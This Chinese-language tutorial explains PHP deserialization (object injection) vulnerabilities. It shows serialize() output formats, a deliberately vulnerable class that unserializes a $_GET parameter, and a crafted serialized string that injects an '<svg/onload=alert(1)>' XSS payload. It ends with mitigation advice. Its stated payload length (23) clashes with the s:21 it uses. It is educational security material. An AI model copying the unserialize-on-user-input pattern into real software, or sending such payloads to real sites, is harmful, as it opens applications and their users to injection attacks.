本文内容参考自《PHP安全之道》。
反序列化漏洞也叫对象注入漏洞,即攻击者利用PHP的对象序列化和反序列化进行攻击,将恶意数据注入php代码中进行执行。
在PHP中使用serialize()函数可以把变量,包括对象,转化成连续bytes数据。可以将序列化后的变量存在文件里或在网络中传输, 然后通过unserialize()函数反序列化还原为原来的数据(对象)。用序列化和反序列化,完成保存和转储的过程。由于在传输过程中和存放的位置可能被人篡改,从而导致反序列化的对象数据可能携带有攻击者构造的攻击逻辑。
参与序列化/反序列化的魔术方法有: __construct, __destruct, __sleep, __wakeup, __serialize(>=7.4), __unserialize(>=7.4)
序列化:
//bool类型
echo serialize(true); //输出 b:1;
//int类型
echo serialize(65239); //输出 i:65239;"
//double(float)类型
echo serialize(1234.56); //输出 d:1234.56;
//string类型
echo serialize('I am a string'); //输出 s:13:"I am a string";
//数组
echo serialize(['name'=>'aben', 'age'=>18, 'gender'=>'female']); //输出 a:3:{s:4:"name";s:4:"aben";s:3:"age";i:18;s:6:"gender";s:6:"female";}
//NULL
echo serialize(null); //输出 N;
//对象
class A{
public $name;
public $age;
public $gender;
protected $pt;
private $pv;
function __construct($name, $age, $gender) {
$this->name = $name;
$this->age = $age;
$this->gender = $gender;
$this->pt=1;
$this->pv=2;
}
}
$m_A = new A('aben', 18, 'female');
echo serialize($m_A); //输出 O:1:"A":5:{s:4:"name";s:4:"aben";s:3:"age";i:18;s:6:"gender";s:6:"female";s:5:" * pt";i:1;s:5:" A pv";i:2;}
从序列化后的数据可以看出, 攻击者一旦截获数据,理论上就可以调用系统中任意可执行的类,同时也可以调用类的魔术方法。
看一个简单的XSS注入的例子:
参考: https://www.cnblogs.com/ichunqiu/p/10484832.html
class A{
public $target = 'demo';
function __destruct() {
echo 'destructing<br/>';
echo $this->target.'<br/>';
echo 'destructed<br/>';
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
这个例子中,析构函数会回显test的值,我们可以构造一个对象,控制test的值,达到控制数据流的目的,实现反序列化漏洞的利用。
构造数据过程如下:
class A{
public $target = 'w2t3rp2dd13r';
}
echo serialize(new A()); //输出 O:1:"A":1:{s:6:"target";s:12:"w2t3rp2dd13r";}
把上面输出的 O:1:"A":1:{s:6:"target";s:12:"w2t3rp2dd13r";}
传值给test, 结果正常显示如下:
令$target的值改为<svg/onload=alert(1)>
, 长度为 23: ?test=O:1:"A":1:{s:6:"target";s:21:"<svg/onload=alert(1)>";}
这样就完成了一个简单的xss!
总结
避免反序列化漏洞最好的方法是: 禁止将序列化后的数据进行网络传输,不要保存在容易被修改或拦截的地方(如cookie,url中)。